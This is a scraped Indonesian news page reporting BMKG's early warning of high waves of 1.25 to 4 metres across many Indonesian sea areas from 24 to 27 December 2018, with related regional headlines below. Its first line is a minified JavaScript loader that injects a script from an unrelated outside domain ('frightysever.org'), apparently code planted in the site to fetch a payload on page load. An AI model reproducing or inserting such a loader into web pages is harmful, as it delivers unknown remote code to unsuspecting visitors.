(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kapal nelayan dihadang gelombang tinggi saat memasuki muara pelabuhan Lampulo, Banda Aceh (16/9). Cuaca buruk disertai angin kencang dan gelombang setinggi 3 hingga 4 meter sejak tiga hari terakhir di perairan itu, mengakibatkan sebagian besar nelayan tidak melaut. ANTARAFOTO/Ampelsa/ss/pd/14
JAKARTA, Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) mengeluarkan peringatan dini terkait prediksi akan adanya gelombang tinggi di sejumlah perairan yang tersebar di Indonesia sejak 24 Desember hingga 27 Desember 2018.
Berdasarkan rilis BMKG yang diterima Okezone Nomor ME.301/PD/24/APM/XII/BMKG-2018 tentang Peringatan Dini Gelombang Tinggi menjelaskan, akan terjadi gelombang tinggi di seluruh perairan Indonesia.
“Terdapat pola tekanan rendah 1011 hPa di Samudera Hindia barat Lampung. Pola angin umumnya bergerak dari barat – utara pada wilayah Indonesia bagian utara dengan kecepatan angin berkisar antara 5 – 20 knot,” kata Kasubbid Analisa dan Prediksi Meteorologi Maritim, Zairo Hendrawan.
Adapun prediksi gelombang tinggi yang akan terjadi di perairan Indonesia bagian selatan. Angin diperkirakan akan bergerak dari barat daya – barat laut dengan kecepatan angin berkisar antara 5 – 25 knot.
“Kecepatan angin tertinggi terpantau di perairan timur Lampung, Laut Jawa bagian barat, Laut Sulawesi, perairan utara Halmahera hingga Papua. Kondisi ini mengakibatkan peningkatan tinggi gelombang di wilayah-wilayah tersebut,” tuturnya.
BMKG memprediksi tinggi gelombang 1.25 hingga 2,5 meter berpeluang akan terjadi di 34 perairan yakni: perairan Utara Sabang, perairan Sabang – Banda Aceh, perairan Barat Aceh hingga Kepulauan Mentawai, perairan Enggano-Bengkulu hingga Barat Lampung, samudera Hindia Barat Sumatera, Selat Sunda Bagian Selatan, perairan Selatan Jawa Hingga Pulau Sumba, Selat Bali -Selat Lombok – Selat Alas bagian selatan, Selat Sumba bagian barat, dan perairan Pulau Sawu hingga Pulau Rate – Kupang.
Selain itu, juga terjadi di laut Timor Selatan NTT, laut Sawu hingga Selat Ombai, perairan Selatan Flores, samudera Hindia Selatan Jawa hingga NTT, laut NATUNA bagian utara, perairan utara Kepulauan Anambas hingga Kepulauan Natuna, laut JAWA bagian barat, laut Flores, periaran Kepulauan Baubau – Kepulauan Wakatobi, Laut Banda bagian Utara, perairan selatan Kepulauan Sermata hingga Kepulauan Tanimbar, Laut Arafuru, perairan Kepulauan Kei – Aru, perairan Fakfak – Kaimana, perairan Amapare – Agat, Laut Sulawesi, perairan utara Sulawesi, perairan Kepulauan Sangihe hingga Pulau Talaud, perairan Bitung – Manado, Laut Maluku bagian Utara, Perairan Halmahera, Laut Halmahera, Perairan Raja Ampat dan perairan utara Jayapura – Sarmi.
Sementara gelombang yang mencapai 2,5 hingga 4 meter berpeluang di tiga perairan yakni: perairan utara Manokwari, perairan Utara Biak, dan Samudera Pasifik Utara Halmahera hingga Papua.
Atas peringatan dini tersebut, BMKG meminta para nelayan dan pelayaran untuk memperhatikan risiko tinggi terhadap keselamatan pelayaran. “Dimohon kepada masyarakat yang tinggal dan beraktivitas di pesisir sekitar area yang berpeluang terjadi gelombang tinggi agar tetap selalu waspada,” tutupnya. (cel/line)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.